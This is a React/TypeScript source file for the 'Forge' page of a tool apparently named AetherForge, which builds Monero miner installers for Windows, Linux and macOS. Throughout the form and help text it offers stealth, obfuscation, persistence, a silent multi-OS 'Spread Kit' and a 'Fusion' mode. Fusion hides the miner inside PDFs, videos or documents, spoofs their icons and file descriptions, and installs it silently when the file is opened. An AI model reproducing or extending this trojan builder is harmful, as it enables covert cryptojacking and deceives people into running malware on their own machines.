import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; import { Link, useNavigate, useSearchParams } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types'; import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp'; import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB, suggestWorkerName, processNameForWorker, } from '../help/forgeSmartDefaults'; import { getSetupStatus } from '../help/setupStatus'; import SetupBanner from '../components/SetupBanner'; import { lanEndpointCandidates } from '../help/endpointHelpers'; import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; import { previewInstallPath } from '../help/installPreview'; import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules'; import { applyDeliverableType, deriveDeliverableType, deliverableSummary, installBaseOptionsForTarget, normalizeForgeForm, type ForgeDeliverable, } from '../help/forgeFormNormalize'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; import PoolPresetPicker from '../components/PoolPresetPicker'; import { useForge } from '../context/ForgeContext'; import { fusionPayloadKind, fusionTitleFromFilename, fusionFileTypeLabel, disguisedWindowsRunnerName, disguisedDisplayName, defaultRunnerName, defaultEmbeddedName, } from '../help/fusionMedia'; import './Pages.css'; export function formatBytes(n: number): string { if (n < 1024) return `${n} B`; const units = ['KB', 'MB', 'GB']; let v = n / 1024; for (const u of units) { if (v < 1024) return `${v.toFixed(2)} ${u}`; v /= 1024; } return `${v.toFixed(2)} TB`; } function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest { return forgeDefaultsFromServerSmart(config, serverInfo, builds); } // Simulated stage timeline — (label, target% completed at this point, min ms from start) const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [ { label: 'Resolving dependencies...', pct: 8, minMs: 0 }, { label: 'Compiling agent source...', pct: 28, minMs: 800 }, { label: 'Cross-compiling targets...', pct: 52, minMs: 2500 }, { label: 'Applying obfuscation...', pct: 68, minMs: 5000 }, { label: 'Packaging deliverable...', pct: 82, minMs: 8000 }, { label: 'Signing & finalizing...', pct: 93, minMs: 11000 }, { label: 'Almost done...', pct: 98, minMs: 15000 }, ]; function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { if (!building) return null; return (
{stage || 'Initializing...'} {Math.round(progress)}%
); } const FORGE_MODE_KEY = 'aetherforge-forge-mode'; function loadSimpleMode(): boolean { try { const v = localStorage.getItem(FORGE_MODE_KEY); if (v === 'advanced') return false; } catch { /* ignore */ } return true; } export default function BuilderPage() { const navigate = useNavigate(); const [searchParams, setSearchParams] = useSearchParams(); const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge(); const forgeStageTimerRef = useRef | null>(null); const [form, setForm] = useState(null); const [building, setBuilding] = useState(false); const [error, setError] = useState(''); const [lastBuild, setLastBuild] = useState(null); const [recentBuilds, setRecentBuilds] = useState([]); const [loadingDefaults, setLoadingDefaults] = useState(true); const [fusionPrepFile, setFusionPrepFile] = useState(null); const [fusionBatchFiles, setFusionBatchFiles] = useState([]); const [batchJob, setBatchJob] = useState<{ total: number; current: number; fileName: string; phase: string; percent: number; log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[]; } | null>(null); const [fusionEstimate, setFusionEstimate] = useState(null); const [estimateLoading, setEstimateLoading] = useState(false); // Set to true to request cancellation between batch iterations const batchCancelRef = useRef(false); // Tracks the cancel_token of the currently-running forge so we can kill it server-side const cancelTokenRef = useRef(''); const [estimateError, setEstimateError] = useState(''); const [serverInfo, setServerInfo] = useState(null); const [calibrateConfig, setCalibrateConfig] = useState(null); const [listenPort, setListenPort] = useState(8989); const [showBlueprintOffer, setShowBlueprintOffer] = useState(false); const forgedThisSessionRef = useRef(false); const [refreshingEndpoints, setRefreshingEndpoints] = useState(false); const [simpleMode, setSimpleMode] = useState(loadSimpleMode); // Drive simulated stage progress while a single build is running useEffect(() => { if (!building || batchJob) { endForge(); if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); return; } const startMs = Date.now(); startForge(); let stageIdx = 0; const advance = () => { const elapsed = Date.now() - startMs; // Find the furthest stage whose minMs has been reached let next = 0; for (let i = 0; i < FORGE_STAGES.length; i++) { if (elapsed >= FORGE_STAGES[i].minMs) next = i; else break; } const s = FORGE_STAGES[next]; // Smoothly interpolate within this stage toward the next stage's target % const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98; const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000; const stageElapsed = elapsed - s.minMs; const stageDur = nextMs - s.minMs; const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0; const pct = s.pct + (nextPct - s.pct) * frac; if (next !== stageIdx) stageIdx = next; setStage(s.label, Math.min(98, pct)); forgeStageTimerRef.current = setTimeout(advance, 250); }; advance(); return () => { if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); }; // eslint-disable-next-line react-hooks/exhaustive-deps }, [building, batchJob]); const setForgeMode = (simple: boolean) => { setSimpleMode(simple); try { localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced'); } catch { /* ignore */ } }; const refreshEndpointInfo = async () => { setRefreshingEndpoints(true); try { const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]); setServerInfo(info); setListenPort(config.port || info.port || 8989); return info; } finally { setRefreshingEndpoints(false); } }; // Blueprint state const [blueprints, setBlueprints] = useState([]); const [showBlueprints, setShowBlueprints] = useState(false); const [blueprintName, setBlueprintName] = useState(''); const [blueprintMsg, setBlueprintMsg] = useState(''); const [loadingBlueprints, setLoadingBlueprints] = useState(false); const [compareBlueprint, setCompareBlueprint] = useState | null>(null); const fileInputRef = useRef(null); useEffect(() => { Promise.all([ api.getConfig(), api.getServerInfo().catch(() => null), api.listBuilds().catch(() => []), ]) .then(([config, info, builds]) => { setCalibrateConfig(config); if (info) { setServerInfo(info); setListenPort(config.port || info.port || 8989); } else { setListenPort(config.port || 8989); } const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : []; const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]); setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates })); }) .catch((err) => { console.error(err); setError('Failed to load server config — is the control server running?'); }) .finally(() => setLoadingDefaults(false)); }, []); const loadRecentBuilds = async () => { try { const builds = await api.listBuilds(); setRecentBuilds(builds); } catch (err) { console.error(err); } }; // Handle ?reforge= links from Build Manager page useEffect(() => { const reforgeId = searchParams.get('reforge'); if (!reforgeId || recentBuilds.length === 0) return; const match = recentBuilds.find((b) => b.id === reforgeId); if (match) { reForgeFromBuild(match); setSearchParams({}, { replace: true }); } // eslint-disable-next-line react-hooks/exhaustive-deps }, [searchParams, recentBuilds]); const finishForgeSuccess = async (result: BuildResponse) => { setStage('Build complete!', 100); setLastBuild(result); loadRecentBuilds(); if (!forgedThisSessionRef.current) { forgedThisSessionRef.current = true; setShowBlueprintOffer(true); } }; const handleForgeNextWorker = () => { if (!form) return; const name = suggestWorkerName([ ...recentBuilds, { worker_name: form.worker_name } as BuildRecord, ]); setForm({ ...form, worker_name: name, process_name: processNameForWorker(name), }); setLastBuild(null); setError(''); }; const handleSaveFleetBlueprint = async () => { if (!form) return; const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default'); if (!name || !name.trim()) return; setBlueprintMsg(''); try { const result = await api.saveBlueprint(name.trim(), form); setBlueprintMsg(`✅ Blueprint "${result.name}" saved`); setShowBlueprintOffer(false); setTimeout(() => setBlueprintMsg(''), 4000); } catch (err: unknown) { setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`); } }; // Blueprint: save current form as a named blueprint const handleSaveBlueprint = async () => { if (!form) return; const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config'); if (!name || !name.trim()) return; setBlueprintMsg(''); try { const result = await api.saveBlueprint(name.trim(), form); setBlueprintMsg(`✅ Blueprint "${result.name}" saved`); setTimeout(() => setBlueprintMsg(''), 3000); } catch (err: any) { setBlueprintMsg(`❌ Failed to save: ${err.message}`); } }; // Blueprint: load blueprints list and show picker const handleLoadBlueprint = async () => { try { setLoadingBlueprints(true); const list = await api.listBlueprints(); setBlueprints(list); setShowBlueprints(true); } catch (err: any) { setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`); } finally { setLoadingBlueprints(false); } }; // Blueprint: apply a selected blueprint to the form const handleApplyBlueprint = async (name: string) => { try { const data = await api.getBlueprint(name); setCompareBlueprint(data as Record); setBlueprintName(name); // Merge loaded data into form, preserving any fields not in the blueprint setForm((prev) => (prev ? { ...prev, ...data } : prev)); setShowBlueprints(false); setBlueprintMsg(`✅ Blueprint "${name}" loaded`); setTimeout(() => setBlueprintMsg(''), 3000); } catch (err: any) { setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`); } }; const reForgeFromBuild = async (build: BuildRecord) => { if (!form) return; const merged = buildRequestFromRecord(build, form as unknown as Record) as unknown as BuildRequest; setForm(merged); setError(''); setLastBuild(null); // Fusion re-forge requires the payload file — prep files are not kept on the // server after a build completes (M15). Prompt the user to re-upload first. if (merged.fusion_enabled && !fusionPrepFile) { setError( 'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.' ); return; } const checks = runForgePreflight(merged, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Re-forge preflight failed — adjust settings and forge manually.'); return; } const reforgeToken = crypto.randomUUID(); cancelTokenRef.current = reforgeToken; setBuilding(true); try { const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile); if (!result.success) throw new Error(result.error || 'Build failed'); await finishForgeSuccess(result); setBlueprintMsg(`✅ Re-forged ${build.worker_name}`); } catch (err: any) { setError(err.message || 'Re-forge failed'); } finally { setBuilding(false); } }; // Blueprint: delete a blueprint const handleDeleteBlueprint = async (name: string) => { if (!confirm(`Delete blueprint "${name}"?`)) return; try { await api.deleteBlueprint(name); setBlueprints((prev) => prev.filter((b) => b.name !== name)); } catch (err: any) { setBlueprintMsg(`❌ Failed to delete: ${err.message}`); } }; // Blueprint: import from a local .json file const handleImportBlueprintFile = () => { fileInputRef.current?.click(); }; const handleFileSelected = (e: React.ChangeEvent) => { const file = e.target.files?.[0]; if (!file) return; const reader = new FileReader(); reader.onload = (evt) => { try { const data = JSON.parse(evt.target?.result as string) as Record; setCompareBlueprint(data); setBlueprintName(file.name); setForm((prev) => (prev ? { ...prev, ...data } : prev)); setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`); setTimeout(() => setBlueprintMsg(''), 3000); } catch { setBlueprintMsg('❌ Invalid JSON file'); } }; reader.readAsText(file); // Reset input so same file can be re-selected e.target.value = ''; }; // Blueprint: export current form as a downloadable .json file const handleExportBlueprintFile = () => { if (!form) return; const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' }); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `${form.worker_name || 'miner-config'}-blueprint.json`; a.click(); URL.revokeObjectURL(url); }; const applyFusionFileSelection = (f: File | null) => { setFusionPrepFile(f); if (!f) return; const isImage = /\.(png|jpe?g|gif|webp|bmp|ico|tiff?)$/i.test(f.name); // Images in embedded mode often blow up compile size; paired ZIP is reliable for any size. const preferPaired = isImage || f.size > 500 * 1024 * 1024; setForm((prev) => { if (!prev) return prev; return normalizeForgeForm({ ...prev, fusion_payload_kind: fusionPayloadKind(f), fusion_media_base_name: f.name, fusion_output_name: defaultRunnerName(f.name), ...(preferPaired && prev.fusion_media_mode === 'embedded' ? { fusion_media_mode: 'paired' as const } : {}), ...(!prev.fusion_enabled ? { fusion_enabled: true, spread_kit: false, target_os: 'universal', target_arch: 'all' } : {}), }); }); }; // Kill the current server-side compile via the cancel API, then stop the batch loop. const handleKillBuild = useCallback(async () => { const tok = cancelTokenRef.current; if (tok) { try { await api.cancelBuild(tok); } catch { /* ignore */ } } batchCancelRef.current = true; setBuilding(false); }, []); const handleBatchCancel = () => { batchCancelRef.current = true; // Also kill the currently-running server compile const tok = cancelTokenRef.current; if (tok) { api.cancelBuild(tok).catch(() => {}); } }; const handleBatchForge = async () => { if (!form || fusionBatchFiles.length === 0) return; setError(''); setLastBuild(null); batchCancelRef.current = false; setBuilding(true); const total = fusionBatchFiles.length; const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const })); setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log }); let ok = 0; try { for (let i = 0; i < total; i++) { if (batchCancelRef.current) { setBatchJob((j) => (j ? { ...j, phase: 'cancelled', fileName: '' } : j)); setBlueprintMsg(`Batch forge cancelled after ${ok} of ${total} file(s).`); setTimeout(() => setBlueprintMsg(''), 5000); break; } const file = fusionBatchFiles[i]; const title = fusionTitleFromFilename(file.name); const pct = Math.round((i / total) * 100); setBatchJob((j) => j ? { ...j, current: i + 1, fileName: file.name, phase: 'building', percent: pct, log: j.log.map((row, idx) => idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row ), } : j ); const req = normalizeForgeForm({ ...form, target_os: 'universal', fusion_enabled: true, spread_kit: false, fusion_payload_kind: fusionPayloadKind(file), fusion_media_base_name: file.name, fusion_export_subdir: title, fusion_output_name: defaultRunnerName(file.name), worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48), }); const checks = runForgePreflight(req, true); if (preflightHasErrors(checks)) { throw new Error(`Preflight failed for ${file.name}`); } const batchToken = crypto.randomUUID(); cancelTokenRef.current = batchToken; const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file); cancelTokenRef.current = ''; if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`); setBatchJob((j) => j ? { ...j, phase: 'downloading', log: j.log.map((row, idx) => idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row ), } : j ); await finishForgeSuccess(result); ok++; setBatchJob((j) => j ? { ...j, log: j.log.map((row, idx) => idx === i ? { ...row, status: 'ok', detail: result.fusion_export_dir ? `Saved → ${result.fusion_export_dir}` : 'ZIP downloaded', } : row ), } : j ); } setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j)); setBlueprintMsg(`✅ Batch forged ${ok} file(s) — one universal ZIP per file in fusion-deliverables/`); setTimeout(() => setBlueprintMsg(''), 6000); setFusionBatchFiles([]); } catch (err: unknown) { const msg = err instanceof Error ? err.message : 'Batch forge failed'; setError(msg); setBatchJob((j) => j ? { ...j, phase: 'error', log: j.log.map((row) => row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row ), } : j ); } finally { setBuilding(false); setTimeout(() => setBatchJob(null), 8000); } }; const handleSubmit = async (e: React.FormEvent) => { e.preventDefault(); if (!form) return; setError(''); setLastBuild(null); const normalized = normalizeForgeForm(form); if (normalized !== form) { setForm(normalized); } const checks = runForgePreflight(normalized, !!fusionPrepFile); if (preflightHasErrors(checks)) { setError('Preflight failed — fix errors in the checklist below before forging.'); return; } const cancelToken = crypto.randomUUID(); cancelTokenRef.current = cancelToken; setBuilding(true); try { const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile); if (!result.success) { throw new Error(result.error || 'Build failed'); } await finishForgeSuccess(result); } catch (err: any) { if (err.message !== 'build cancelled') { setError(err.message || 'Build failed'); } } finally { cancelTokenRef.current = ''; setBuilding(false); } }; const applyRecommendedDefaults = async () => { if (!form) return; try { const [config, info, builds] = await Promise.all([ api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [] as BuildRecord[]), ]); const candidates = lanEndpointCandidates(info, config.port || info.port); const base = defaultsFromConfig(config, info, builds); const kind = form ? deriveDeliverableType(form) : 'single'; // Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates }); setForm(applyDeliverableType(merged, kind)); setBlueprintMsg('✅ Recommended defaults applied'); setTimeout(() => setBlueprintMsg(''), 2500); } catch (err: unknown) { setError(err instanceof Error ? err.message : 'Could not refresh defaults'); } }; const updateField = (field: keyof BuildRequest, value: unknown) => { setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev)); }; const setDeliverableType = (type: ForgeDeliverable) => { setForm((prev) => (prev ? applyDeliverableType(prev, type) : prev)); if (type !== 'fusion') { setFusionPrepFile(null); setFusionBatchFiles([]); setFusionEstimate(null); } }; const deliverableType = form ? deriveDeliverableType(form) : 'single'; const installBaseOptions = installBaseOptionsForTarget(form?.target_os); const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]); const liveNotices = useMemo( () => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []), [form, fusionPrepFile] ); const preflightChecks = useMemo( () => (form ? runForgePreflight(form, !!fusionPrepFile) : []), [form, fusionPrepFile] ); const canForge = form ? !preflightHasErrors(preflightChecks) : false; const errorCount = preflightChecks.filter((c) => c.level === 'error').length; const blueprintChanges = useMemo(() => { if (!compareBlueprint || !form) return []; return blueprintDiff(compareBlueprint, form as unknown as Record); }, [compareBlueprint, form]); const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe'; const fusionMediaMode = form?.fusion_media_mode || 'paired'; useEffect(() => { if (!form?.fusion_enabled || !fusionPrepFile) { setFusionEstimate(null); setEstimateError(''); return; } let cancelled = false; const timer = window.setTimeout(() => { setEstimateLoading(true); setEstimateError(''); api.estimateFusion(form, fusionPrepFile) .then((est) => { if (!cancelled) setFusionEstimate(est); }) .catch((err: Error) => { if (!cancelled) { setFusionEstimate(null); setEstimateError(err.message || 'Estimate failed'); } }) .finally(() => { if (!cancelled) setEstimateLoading(false); }); }, 350); return () => { cancelled = true; window.clearTimeout(timer); }; }, [ form?.fusion_enabled, form?.fusion_output_name, form?.output_dir, form?.obfuscate, form?.sign_build, form?.worker_name, fusionPrepFile, ]); // Cancel any in-progress server-side build when the component unmounts // (e.g. user navigates away mid-forge). This closes the M14 UI desync where // the server kept compiling after the Forge page was left. useEffect(() => { return () => { const tok = cancelTokenRef.current; if (tok) { api.cancelBuild(tok).catch(() => {}); cancelTokenRef.current = ''; } batchCancelRef.current = true; }; }, []); if (loadingDefaults) { return (

INSTALLER FORGE

The Forge

Loading forge defaults from server...

); } if (!form) { return (

INSTALLER FORGE

The Forge

{error || 'Failed to load forge defaults from server.'}

); } const installPreview = previewInstallPath({ install_base: form.install_base, install_custom_base: form.install_custom_base, install_relative_path: form.install_relative_path, worker_name: form.worker_name, process_name: form.process_name, target_os: form.target_os, }); const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []; const setupStatus = getSetupStatus(calibrateConfig); return (
{/* Hidden file input for importing blueprint .json files */}

INSTALLER FORGE

The Forge

{simpleMode ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.' : 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}

{/* Blueprint status message */} {blueprintMsg && (
{blueprintMsg}
)} {compareBlueprint && blueprintChanges.length > 0 && (

Blueprint diff — {blueprintName || 'loaded blueprint'}

Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).

    {blueprintChanges.map((row) => (
  • {row.key} {' — '} {row.kind === 'added' && kept from form} {row.kind === 'removed' && not in current form} {row.kind === 'changed' && ( blueprint → current )}
  • ))}
)} {/* Blueprint picker panel */} {showBlueprints && (

Saved Blueprints

{loadingBlueprints ? (

Loading blueprints...

) : blueprints.length === 0 ? (

No saved blueprints yet. Configure the form and click "Save Blueprint".

) : (
{blueprints.map((bp) => (
{bp.name}
{(bp.size / 1024).toFixed(1)} KB {new Date(bp.created_at).toLocaleString()}
))}
)}
)}

Quick links

Full visual guide with pipeline, Fusion, AI, and troubleshooting.

Open Field Guide
{SETUP_CHEATSHEET.map((item) => (

{item.title}

{item.body}

))}
{simpleMode ? (

RECOMMENDED DEFAULTS — AUTO-SELECTED

{RECOMMENDED_DEFAULTS_BLURB}

) : (

FORGE RULES — READ THIS ONCE

Everything on this page is configurable, but incompatible mixes are blocked at forge time. Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.

⛏ Baked into installer Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
🖥 Server folder only Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
🔒 Auto-coupled Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
✕ Cannot forge until fixed Preflight errors below must be resolved — warnings let you forge but double-check first.
)} {liveNotices.length > 0 && (
ACTIVE RULES
    {liveNotices.map((n) => (
  • {n}
  • ))}
)}

{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}

{simpleMode ? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.' : 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}

updateField('worker_name', e.target.value)} required />
updateField('server_url', e.target.value)} required autoComplete="off" spellCheck={false} /> {form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (

⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.

)}

Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.

{endpointCandidates.length > 0 && (
Quick pick
{endpointCandidates.map((url) => ( ))}
)}
{/* ── Backup server URLs (advanced) ───────────────────────── */} {!simpleMode && (
{(form.backup_server_urls ?? []).map((url, i) => (
{ const urls = [...(form.backup_server_urls ?? [])]; urls[i] = e.target.value; updateField('backup_server_urls', urls); }} />
))}
)}
0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`} placeholder="4... or 8... (90–106 characters)" value={form.wallet} onChange={(e) => updateField('wallet', e.target.value)} required spellCheck={false} /> {form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (

Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.

)}
{ updateField('pool_host', next.pool_host); updateField('pool_port', next.pool_port); updateField('pool_tls', next.pool_tls); updateField('backup_pools', next.backup_pools); }} />
updateField('pool_pass', e.target.value)} />

Standard Monero pools use x.

{deliverableSummary(deliverableType)}

{fieldMeta.target_os?.disabled ? ( ) : ( )}
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
)}
{deliverableType === 'spread_kit' && (

Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled. Upload nothing — forge produces the deploy ZIP.

)}
{!simpleMode && (
updateField('output_dir' as any, e.target.value)} />

Example: exports will copy the finished exe to data/exports on this host.

)}
{!simpleMode && ( <>
{ const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
{form.mining_mode === 'idle' && (
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }} />
)} {form.mining_mode === 'scheduled' && (
updateField('schedule_start', e.target.value)} />
updateField('schedule_end', e.target.value)} />
)}
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (

{installBaseOptions.find((o) => o.value === form.install_base)!.hint}

)}
{form.install_base === 'custom' && (
updateField('install_custom_base', e.target.value)} />
)}
updateField('install_relative_path', e.target.value)} />
{installPreview}
updateField('process_name', e.target.value)} />
)} {deliverableType !== 'spread_kit' && (
{form.fusion_enabled && (

Uncheck Enable Fusion above to return to a plain single-platform worker build.

)}
{deliverableType === 'fusion' && form.fusion_enabled && (

Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).

)} {form.fusion_enabled && ( <> {/* Single-file pick (used when Forge button is clicked) */}
{ applyFusionFileSelection(e.target.files?.[0] || null); e.target.value = ''; }} /> {fusionPrepFile && !fusionIsExe && (
{fusionPrepFile.name} — {fusionFileTypeLabel(fusionPrepFile.name)},{' '} {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
Windows disguise: runner will be named{' '} {disguisedWindowsRunnerName(fusionPrepFile.name)} with the{' '} {fusionFileTypeLabel(fusionPrepFile.name)} icon injected. Explorer shows it as {disguisedDisplayName(fusionPrepFile.name)} — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
)} {fusionPrepFile && fusionIsExe && ( {fusionPrepFile.name} — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened )}

Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB. On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).

{/* Delivery mode — applies to all file types */}

Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed. Best for files under ~500 MB.

Your original file + runners in a ZIP. Works for any file size. The recipient unzips and opens the launcher for their OS — the file opens normally, miner installs silently.

{/* Batch: queue multiple files, each gets its own ZIP */}
{ const list = e.target.files ? Array.from(e.target.files) : []; setFusionBatchFiles(list); e.target.value = ''; }} /> {fusionBatchFiles.length > 0 && (

{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued — each becomes a separate universal ZIP in{' '} fusion-deliverables/:

    {fusionBatchFiles.map((f) => { const isExe = fusionPayloadKind(f) === 'exe'; return (
  • {f.name}{' '} ({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB) {!isExe && ( → Windows: {disguisedDisplayName(f.name)} )}
  • ); })}
)} {batchJob && (
BATCH FORGE {batchJob.current}/{batchJob.total} — {batchJob.phase}
{batchJob.fileName && (

Current: {batchJob.fileName}

)}
    {batchJob.log.map((row) => (
  • {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'} {row.name} {row.detail ? ` — ${row.detail}` : ''}
  • ))}
)} {fusionBatchFiles.length > 0 && (
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && ( )}
)}

Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.

{!simpleMode && (
updateField('fusion_output_name', e.target.value)} />
)} {simpleMode && fusionPrepFile && (

Runner name: {form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}. Run order: parallel (file opens + miner installs simultaneously).

)}

Output: one universal ZIP containing runners for every OS. Each runner opens {fusionPrepFile?.name || 'your file'} and silently installs the worker.

{fusionPrepFile && (

WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}

  • Windows: Start.bat or disguised runner (e.g. {disguisedDisplayName(fusionPrepFile.name)} with Photos icon) — opens the image in the default viewer, miner runs hidden.
  • Linux: start.shbin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner
  • macOS: Start.command or {fusionTitleFromFilename(fusionPrepFile.name)}.app bundle
  • {fusionMediaMode === 'paired' && (
  • ZIP also includes: your original {fusionPrepFile.name} at the root (paired mode).
  • )}
  • Download: {fusionTitleFromFilename(fusionPrepFile.name)}-package.zip under fusion-deliverables on the server.
)} {(estimateLoading || fusionEstimate || estimateError) && (

FUSION SIZE ESTIMATE (DRY RUN)

{estimateLoading &&

Calculating…

} {estimateError &&

{estimateError}

} {fusionEstimate && ( <>
  • Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})
  • + Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}
  • + Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}
  • Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}

Project root: {fusionEstimate.project_root_path}

{fusionEstimate.export_path && (

Export copy: {fusionEstimate.export_path}

)}

Archive: {fusionEstimate.archive_path_hint}

{fusionEstimate.notes?.map((note) => (

{note}

))} )}
